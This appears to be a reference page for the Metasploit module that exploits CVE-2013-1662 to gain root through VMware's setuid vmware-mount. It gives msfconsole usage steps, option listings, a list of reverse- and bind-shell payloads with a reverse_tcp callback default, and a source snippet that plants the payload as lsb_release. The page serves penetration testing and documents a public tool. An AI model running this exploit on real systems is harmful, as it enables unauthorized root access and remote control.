VMWare Setuid vmware-mount Unsafe popen(3) - Metasploit


This page contains detailed information about how to use the exploit/linux/local/vmware_mount metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: VMWare Setuid vmware-mount Unsafe popen(3)
Module: exploit/linux/local/vmware_mount
Source code: modules/exploits/linux/local/vmware_mount.rb
Disclosure date: 2013-08-22
Last modification time: 2022-10-08 09:16:57 +0000
Supported architecture(s): x86
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2013-1662

VMWare Workstation (up to and including 9.0.2 build-1031769) and Player have a setuid executable called vmware-mount that invokes lsb_release in the PATH with popen(3). Since PATH is user-controlled, and the default system shell on Debian-derived distributions does not drop privs, we can put an arbitrary payload in an executable called lsb_release and have vmware-mount happily execute it as root for us.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/vmware_mount
msf exploit(vmware_mount) > show targets
    ... a list of targets ...
msf exploit(vmware_mount) > set TARGET target-id
msf exploit(vmware_mount) > show options
    ... show and set options ...
msf exploit(vmware_mount) > set SESSION session-id
msf exploit(vmware_mount) > exploit

Required Options

  • SESSION: The session to run this module on.

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Msfconsole Usage

Here is how the linux/local/vmware_mount exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/vmware_mount

[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_mount) > show info

       Name: VMWare Setuid vmware-mount Unsafe popen(3)
     Module: exploit/linux/local/vmware_mount
   Platform: Linux
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-08-22

Provided by:
  Tavis Ormandy
  egypt <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  VMWare Workstation (up to and including 9.0.2 build-1031769) and 
  Player have a setuid executable called vmware-mount that invokes 
  lsb_release in the PATH with popen(3). Since PATH is 
  user-controlled, and the default system shell on Debian-derived 
  distributions does not drop privs, we can put an arbitrary payload 
  in an executable called lsb_release and have vmware-mount happily 
  execute it as root for us.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-1662
  OSVDB (96588)
  http://www.securityfocus.com/bid/61966
  http://blog.cmpxchg8b.com/2013/08/security-debianisms.html
  http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html
  https://blog.rapid7.com/2013/09/05/cve-2013-1662-vmware-mount-exploit

Module Options

This is a complete list of options available in the linux/local/vmware_mount exploit:

msf6 exploit(linux/local/vmware_mount) > show options

Module options (exploit/linux/local/vmware_mount):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the linux/local/vmware_mount exploit:

msf6 exploit(linux/local/vmware_mount) > show advanced

Module advanced options (exploit/linux/local/vmware_mount):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where you can write files.

Payload advanced options (linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  true             no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             true             no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             true             no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/local/vmware_mount module can exploit:

msf6 exploit(linux/local/vmware_mount) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/vmware_mount exploit:

msf6 exploit(linux/local/vmware_mount) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x86/adduser                                          normal  No     Linux Add User
   6   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   7   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   8   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   9   payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   10  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   11  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   12  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   13  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   14  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   15  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   16  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   17  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   18  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   19  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   20  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   21  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   22  payload/linux/x86/read_file                                        normal  No     Linux Read File
   23  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   24  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   25  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   26  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   27  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   28  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   29  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   30  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   31  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   32  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   33  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   34  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   35  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   36  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options

Here is the full list of possible evasion options supported by the linux/local/vmware_mount exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/vmware_mount) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

vmware-mount doesn't exist or is not setuid

Here is a relevant code snippet related to the "vmware-mount doesn't exist or is not setuid" error message:

64:	    end
65:	  end
66:	
67:	  def exploit
68:	    unless check == CheckCode::Appears
69:	      fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
70:	    end
71:	
72:	    lsb_path = File.join(datastore['WritableDir'], 'lsb_release')
73:	    write_file(lsb_path, generate_payload_exe)
74:	    cmd_exec("chmod +x #{lsb_path}")

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References

See Also

Check also the following modules related to this module:

Authors

  • Tavis Ormandy
  • egypt

Version

This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

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